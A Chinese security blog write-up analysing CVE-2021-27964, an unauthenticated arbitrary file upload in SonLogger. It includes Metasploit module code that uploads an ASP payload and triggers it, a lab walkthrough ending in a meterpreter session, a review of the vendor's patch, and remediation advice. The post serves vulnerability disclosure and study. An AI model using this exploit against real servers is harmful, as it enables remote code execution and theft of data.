聚焦源代码安全,网罗国内外最新资讯!

概述

Sonlogger 是土耳其SFC 公司 开发的一款应用软件,兼容土耳其《第5651号法》,是一款基于 Web 的 SonicWall 防火墙设备日志分析、报告和跟踪软件。《第5651号法》规定了网络服务提供商所应履行的义务,如进行数据本地化,每年向土耳其信息和通信技术管理局(ICTA)提交两次报告等。Sonlogger 用于协助用户生成符合《第5651号法》规定的合规日志。

SonLogger 6.4.1之前的版本存在安全漏洞 (CVE-2021-27964),允许上传未经授权的任意文件。攻击者可以向 /Config/SaveUploadedHotspotLogoFile 发送 POST 请求,无需任何身份验证或会话头,也并未检查上传文件的扩展名以及文件内容。利用此漏洞,可以上传恶意文件并访问运行该应用程序的远程服务器,从而获取敏感信息。

漏洞细节

Sonlogger 4.2.3.3的主界面如下:

Sonlogger的 ”热点设置-上传” logo界面如下,可知它并未规定所上传文件的扩展名和内容:

下一步,进行上传操作并使用 Burpsuite 监听。发现上传时会向 /Config/SaveUploadedHotspotLogoFile 页面发送 POST 请求。且该请求来源于 config/hostspotsettings.js。

PoC

编写脚本,生成包含有效载荷的ASP,部分代码如下:

def create_payloadMsf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end

下面的部分将有效负载上传到目标系统的 /Assets/temp/hotspot/img/logohotspot.asp 并触发它进行连接:

def exploitbeginprint_good('Generate Payload')data = create_payloadboundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"post_data = "--#{boundary}\r\n"post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"post_data << "Content-Type: image/png\r\n"post_data << "\r\n#{data}\r\n"post_data << "--#{boundary}\r\n"res = send_request_cgi('method' => 'POST','uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),'ctype' => "multipart/form-data; boundary=#{boundary}",'data' => post_data,'headers' => {'Accept' => 'application/json','Accept-Language' => 'en-US,en;q=0.5','X-Requested-With' => 'XMLHttpRequest'})unless resfail_with(Failure::Unreachable, 'No response from server')endunless res.code == 200fail_with(Failure::Unknown, "Unexpected server response: #{res.code}") endjson_res = beginJSON.parse(res.body)rescue JSON::ParserErrornilendif json_res.nil? || json_res['Message'] == 'Error in saving file'fail_with(Failure::UnexpectedReply, 'Error uploading payload')endprint_good('Payload has been uploaded')handlerprint_status('Executing payload...')send_request_cgi({'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),'method' => 'GET'}, 5)end rescue StandardErrorfail_with(Failure::UnexpectedReply, 'Failed to execute the payload')end

漏洞利用

使用 VMware 内 kali 虚拟机作为攻击发起主机,以宿主机作为靶机进行攻击。

首先把编写好的脚本放入 metasploit 对应的目录之下,之后在 msfconsole下reload_all 重新载入所有模块,并运行脚本。

检索需利用的 modules,使用 show options 命令查看配置项,并对目标主机RHOSTS, RPORT 等参数进行设置。

分别查看攻击机和靶机的ip地址,以确认LHOST 被设置为 192.168.18.128。

与虚拟机同网段的宿主机 ip 地址为 192.168.18.1,故设置 RHOSTS 为该 ip 地址,并运行脚本。

实施 exploit 生成 meterpreter。

结果,成功获得了 uid 以及系统信息。

修复版本分析

分析发现,修复后版本的 hotspotsetting.js 部分代码如下:

var handleLogoDropzone = function () {Dropzone.autoDiscover = false; // otherwise will be initialized twicevar myDropzoneOptions = {maxFilesize: 5,addRemoveLinks: true,clickable: true,};var myDropzone = new Dropzone('#m-dropzone-three', myDropzoneOptions);var mockFile = { name: $('#hotspotlogonameinput').val(), size: 12345 };myDropzone.options.addedfile.call(myDropzone, mockFile);myDropzone.options.thumbnail.call(myDropzone, mockFile, "../../Assets/hotspot/img/" + $('#hotspotlogonameinput').val() + "?dummy=" + Math.round((new Date()).getTime() / 1000) + "");
}

分析可知,Sonlogger 只会读取来自 Assets/hotspot/img 文件夹内的 logo 缩略图,而实际上传到 Sonlogger 内的 logo 被上传至  Assets/temp/hotspot/img 内,并未真正的修改保存。如下图所示,上传的图片提示保存成功,但刷新后仍然是之前的图片。

反编译最新版本的 dll 也未发现与 uploadedlogo 相关的方法,由此可以看出debug的方式比较简单粗暴。虽然提供的修复方案解决了安全性问题,但也损害了用户自定义 logo 的部分功能。

另外,土耳其 RZK 公司旗下的软件 Fortilogger 4.4.2.2 版本也存在原理相似的未授权任意文件上传漏洞,本文不再展开,有兴趣的读者可以自行研究。欢迎在留言区交流。

小结

大多数网站都有文件上传的接口。但如果在后台开发时没有对上传的文件进行安全考虑或者采用了有缺陷的措施,则会导致攻击者通过一些手段绕过安全措施并上传恶意文件,从而通过访问恶意文件获得WEBSHELL,控制整个后台等,危害等级极高。任意文件上传也是常见的高危漏洞类型之一。

导致 Sonlogger 4.2.3.3 版本产生该漏洞的具体原因在于,代码作者没有对访客提交的数据进行检验或者过滤不严,导致攻击者可以直接提交修改过的数据绕过扩展名的检验,进而利用该漏洞上传任意文件并且远程执行任意代码。

目前Sonlogger已发布了 6.4.1 版本,更新修复了包括该漏洞在内的数个安全问题,也为上传文件接口增加了文件扩展名限制。用户应尽快更新至最新版本。

参考资料

1. https://nvd.nist.gov/vuln/detail/CVE-2021-27964

2. https://www.sonlogger.com/releasenotes

3. http://packetstormsecurity.com/files/161793/SonLogger-4.2.3.3-Shell-Upload.html

4. https://github.com/erberkan/SonLogger-vulns

5. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27964

推荐阅读

详细分析 Chrome V8 JIT 漏洞 CVE-2021-21220

Codecov后门事件验证分析

又一枚 Chrome 0day现身

题图:Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

详细分析 Sonlogger 任意文件上传漏洞 (CVE-2021-27964)相关推荐

  1. 某office前台任意文件上传漏洞分析

    X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本 也有很多.在这里根据系统代码结合POC来分析一下这个漏洞点. 定位漏洞点 [私信回复&qu ...

  2. FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  3. 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  4. 畅捷通T+ v17任意文件上传漏洞复现

    1.前言 8月29晚上就开始收到通知,让我们来排查一下是否有使用畅捷通的系统,说是疑似0day导致很多用户被植入勒索病毒,一时间风头十足.第二天很多平台都更新的防护策略,本次漏洞是任意文件上传漏洞,如 ...

  5. weblogic系列漏洞整理————8、WebLogic 两处任意文件上传漏洞动态分析(CVE-2018-2894)

    0x01 前言 CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞,并得到了厂商的确认,危害程度评分高达9.8分.鉴于厂商已进行了 ...

  6. UEditor .Net版本任意文件上传漏洞复现总结

    UEditor .Net版本任意文件上传漏洞复现总结 - 知乎 (zhihu.com) 这个洞有一定年数了,是2018年发现的(从下图的shodan中可以得知,该漏洞已经被大部分黑客SEO利用),最近 ...

  7. 海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)

    0x01 产品简介 海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控.联网报警.智能分析.运维管理等多种安全防范应用系统,构建的多业务应用综合管 ...

  8. WeiPHP5.0 前台任意文件上传漏洞

    本博客已搬迁至:https://n0puple.github.io/ 此处不再更新文章 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景.如因涉嫌违法造成的一切不良影响,本文作者概不负责 ...

  9. 【漏洞复现】海康威视iVMS综合安防系统任意文件上传漏洞复现 (在野0day)

    文章目录 前言 声明 一.产品简介 二.漏洞概述 三.影响范围 四.漏洞验证 五.漏洞利用 六.修复建议 前言 海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实 ...

最新文章

  1. 高防服务器究竟能防御哪些攻击?
  2. Tomcat安全加固
  3. 使用perf监控Linux内核网络丢弃的数据包
  4. python第四十九天--paramiko模块安装大作战
  5. Linux Daemon Writing HOWTO
  6. Javascript 盲区和 操作实例 笔记
  7. cocos怎么把res文件夹放服务器上,cocos2d 三合一跑胡子房卡+服务器组件+后台控制+安装教程+棋牌完整源码...
  8. secureCRT及secureFX安装注册和secureFX中出现中文乱码的处理方式
  9. info matlab,c – 在OpenCV中是否有类似MATLAB的’impixelinfo()’功能?
  10. IBM PowerAI编程大赛Q2场来袭!探秘金融语料大数据识别
  11. 19款最好用的免费数据挖掘工具大汇总(干货)
  12. 性能优化--启动优化(网易云音乐启动方案)
  13. 基于nexus搭建golang代码下载代理缓存私服
  14. golang json 格式化输出对象
  15. 英国内政部(Home Office)间谍机构(spy powers)假装它是Ofcom咨询中的一名私人公民1514378402983...
  16. FITC-PEG-Biotin,荧光素-聚乙二醇-生物素的相关检测
  17. 农业银行网上银行服务器未响应,农业银行k宝没反应原因分析及解决方法
  18. 基于单片机的模拟风扇控制系统
  19. 【C++Primer笔记】第一章 开始
  20. 嵌入式--热敏电阻的应用

热门文章

  1. jeecms v3.x标签教程之[@cms_comment_page]
  2. SharedObject实例.
  3. 原生JS封装运动框架。
  4. 20165323 第一周学习总结
  5. JDK自带内存及线程分析工具
  6. CSS伪类的又一个小应用,实现下拉菜单
  7. SQL Server 2014里的性能提升
  8. 选择FreeBSD的理由?欢迎新人观看^_^
  9. cocos2dx游戏开发简单入门视频教程 (cocos2d-x)-第2天
  10. Mac系统 python3.7安装